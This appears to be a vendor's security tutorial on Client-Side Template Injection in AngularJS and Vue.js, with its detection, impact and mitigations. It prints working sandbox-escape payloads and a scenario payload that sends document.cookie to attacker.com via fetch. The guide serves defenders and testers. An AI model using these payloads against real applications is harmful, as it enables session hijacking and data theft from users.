What is Client-Side Template Injection (CSTI)? Ways to Exploit, Examples and Impact

Learn how to detect and exploit Client-Side Template Injection (CSTI) in frameworks like AngularJS and Vue.js with practical examples and payloads.

What is Client-Side Template Injection (CSTI)? Ways to Exploit, Examples and Impact

Modern web applications rely heavily on frontend frameworks to deliver dynamic, responsive user experiences. While these frameworks like AngularJS, Vue.js, and React simplify the development process, they also introduce unique security risks. One of the most critical, yet often misunderstood, vulnerabilities in this category is Client-Side Template Injection (CSTI). This vulnerability occurs when a web application improperly embeds user input into a client-side template, allowing an attacker to execute malicious code within the context of the user's browser.

In this comprehensive guide, we will dive deep into the mechanics of CSTI, explore how it differs from its server-side counterpart, examine real-world exploitation techniques across popular frameworks, and discuss effective mitigation strategies. Whether you are a security researcher or a developer looking to harden your application, understanding CSTI is essential in today’s JavaScript-heavy web landscape.

Understanding the Basics: What is a Template Engine?

To understand CSTI, we first need to understand template engines. A template engine is a tool that allows developers to define the structure of a web page using a combination of static HTML and dynamic placeholders. These placeholders are later replaced with actual data.

In traditional web development, this process happened on the server (Server-Side Rendering). However, with the rise of Single Page Applications (SPAs), much of this logic has moved to the client side. Frameworks like AngularJS use specific syntax, often double curly braces {{ }}, to indicate where dynamic data should be inserted. For example, a template might look like this:

<div>
  Hello, {{ user_name }}!
</div>

When the browser loads the page, the JavaScript framework identifies the {{ user_name }} expression and replaces it with the value of the user_name variable. The danger arises when the application takes input directly from a URL parameter or a form field and places it inside the template without proper sanitization.

How Client-Side Template Injection Works

Client-Side Template Injection occurs when an attacker can inject their own template expressions into the web page. If the framework's template engine sees these expressions, it will execute them as code.

Consider a search results page that displays the user's query:

<div ng-app>
  You searched for: <?php echo $_GET['q']; ?>
</div>

If a user searches for "Apples", the page renders: You searched for: Apples. However, if an attacker provides the input {{ 7 * 7 }}, the server reflects this string back to the browser. Because the page is using AngularJS (indicated by the ng-app attribute), the framework scans the DOM, finds {{ 7 * 7 }}, and evaluates it. The user will see: You searched for: 49.

While performing basic math is harmless, this "proof of concept" proves that the attacker has gained expression execution. From here, an attacker can escalate to executing arbitrary JavaScript, effectively turning CSTI into a powerful form of Cross-Site Scripting (XSS).

CSTI vs. SSTI: Understanding the Difference

It is common to confuse CSTI with Server-Side Template Injection (SSTI). While the underlying principle—injecting code into a template—is the same, the environment where the code executes is different.

  1. Server-Side Template Injection (SSTI): The injection occurs in engines like Jinja2 (Python), Twig (PHP), or Freemarker (Java). The code executes on the web server. This often leads to Remote Code Execution (RCE), allowing the attacker to take over the entire server, access databases, or pivot into the internal network.
  2. Client-Side Template Injection (CSTI): The injection occurs in frontend frameworks like AngularJS or Vue.js. The code executes in the victim's browser. The impact is similar to XSS, involving session hijacking, data theft from the DOM, or performing actions on behalf of the user.

How to Identify Client-Side Template Injection

Identifying CSTI requires a mix of manual testing and automated scanning. The most common method is "fuzzing" input fields with known template delimiters.

1. Identify the Framework

Before testing for injection, you need to know which framework the site is using. You can often find this by checking the source code for specific attributes:

  • AngularJS: Look for ng-app, ng-controller, or ng-model.
  • Vue.js: Look for v-bind, v-if, or the presence of the Vue object in global JS variables.
  • Moustache/Handlebars: Look for script tags with type="text/x-placeholder".

2. Basic Expression Testing

Once a framework is identified, try injecting a simple mathematical expression using the framework's syntax. Common payloads include:

  • {{ 7 * 7 }}
  • ${ 7 * 7 }
  • { 7 * 7 }
  • [[ 7 * 7 ]]

If the page renders 49, the application is likely vulnerable to CSTI.

Exploitation varies significantly depending on the framework and its version. Modern frameworks often have "sandboxes" or security layers designed to prevent arbitrary code execution, but researchers frequently find ways to bypass them.

AngularJS (The Classic Target)

AngularJS is the most famous example of CSTI. In older versions (1.2.x - 1.5.x), AngularJS utilized a sandbox to prevent access to dangerous objects like window or document. However, these sandboxes were famously bypassed multiple times.

Example Payload (AngularJS 1.4.x - 1.5.x):

{{user.constructor.prototype.toString=[].join;user.constructor('alert(1)')()}}

In AngularJS 1.6 and above, the sandbox was removed because it provided a false sense of security. Instead, the developers emphasized that you should never mix user-provided content with templates. Without the sandbox, exploitation became more straightforward by accessing the constructor of a basic object.

Example Payload (AngularJS 1.6+):

{{constructor.constructor('alert(1)')()}}

Vue.js

Vue.js is generally more secure by default, but it is still vulnerable if user input is placed directly into a template that Vue compiles. Vue expressions have access to the component instance.

Example Payload (Vue.js):

{{_setupProxy.constructor('alert(1)')()}}

Note that the specific variable (_setupProxy) might change depending on the version and environment, but the goal remains the same: reaching the Function constructor to execute arbitrary JavaScript.

Moustache and Handlebars

These are "logic-less" template engines, but they can still be exploited if the developer has registered dangerous helper functions or if the environment allows for property access that leads to execution.

The Impact of CSTI

The impact of a successful CSTI attack is essentially the same as a high-impact Cross-Site Scripting (XSS) vulnerability. Since the attacker can execute JavaScript in the victim's browser, they can:

  1. Steal Session Cookies: By accessing document.cookie, an attacker can steal session tokens and hijack user accounts, especially if the HttpOnly flag is missing.
  2. Exfiltrate Sensitive Data: The attacker can read the content of the page, including personal information, CSRF tokens, or financial data, and send it to an external server.
  3. Perform Actions as the User: The malicious script can make unauthorized API calls, such as changing the user's password, deleting data, or posting content.
  4. Phishing and Redirection: Attackers can modify the DOM to display fake login forms or redirect the user to a malicious website.

Because Jsmon helps organizations track their external assets, identifying frameworks that are prone to these misconfigurations is a key part of maintaining a strong security posture.

Real-World Scenario: The Hidden Vulnerability

Imagine a SaaS platform that allows users to customize their dashboard. The platform uses AngularJS. The user can set a "Dashboard Title" which is stored in a database. When the dashboard loads, the title is rendered like this:

<div ng-app="myApp">
    <h1>Dashboard: <?php echo $user_title; ?></h1>
</div>

A malicious user sets their title to: {{constructor.constructor('fetch("https://attacker.com/log?c="+document.cookie)')()}}.

Whenever an admin views that user's dashboard to provide support, the admin's browser executes the code, and their session cookie is sent to the attacker. This demonstrates how CSTI can be used for privilege escalation and targeted attacks within an organization.

How to Prevent Client-Side Template Injection

Preventing CSTI requires a defense-in-depth approach. Here are the most effective strategies:

1. Never Mix User Input with Templates

This is the golden rule. User-provided data should always be treated as data, never as code. Instead of reflecting input directly into the HTML that the template engine parses, use the framework's built-in data binding features.

Bad (Vulnerable):

<div>{{ "<?php echo $_GET['name']; ?>" }}</div>

Good (Secure):
In your JavaScript controller:

$scope.userName = getQueryParam('name');

In your HTML:

<div>{{ userName }}</div>

When data is bound this way, the framework treats the input as a literal string and will not evaluate any curly braces contained within it.

2. Use Framework-Specific Directives

Most frameworks provide ways to skip template compilation for specific elements.

  • Vue.js: Use the v-pre directive on elements that contain static content or user input that should not be parsed.
  • AngularJS: Use ng-non-bindable to tell Angular to ignore the contents of a specific DOM element.

3. Implement a Strong Content Security Policy (CSP)

A well-configured CSP can act as a final line of defense. By restricting the sources from which scripts can be executed and disabling unsafe-eval, you can prevent many CSTI payloads from running.

Content-Security-Policy: default-src 'self'; script-src 'self';

Note: Many older versions of AngularJS require unsafe-eval to function, which highlights the importance of keeping your dependencies up to date.

4. Server-Side Output Encoding

Ensure that any data reflected from the server is properly HTML-encoded. While this doesn't always stop CSTI (since the template engine might decode the entities before processing), it is a fundamental security practice that prevents standard XSS.

5. Regular Dependency Updates

Security researchers are constantly finding new ways to bypass template sandboxes. By keeping your frontend frameworks updated to the latest versions, you ensure that you have the latest security patches and that known sandbox escapes are neutralized.

Conclusion

Client-Side Template Injection is a sophisticated vulnerability that bridges the gap between simple content reflection and full-blown XSS. As web applications continue to move more logic to the browser, the surface area for CSTI will only grow. By understanding how template engines process data and following secure coding practices—primarily separating user data from template logic—developers can build resilient applications that protect user data.

For security professionals, CSTI represents a high-value target during bug bounty programs and penetration tests. It requires a deep understanding of JavaScript internals and framework architecture, making it a rewarding area of study.

To proactively monitor your organization's external attack surface and catch exposures like Client-Side Template Injection before attackers do, try Jsmon.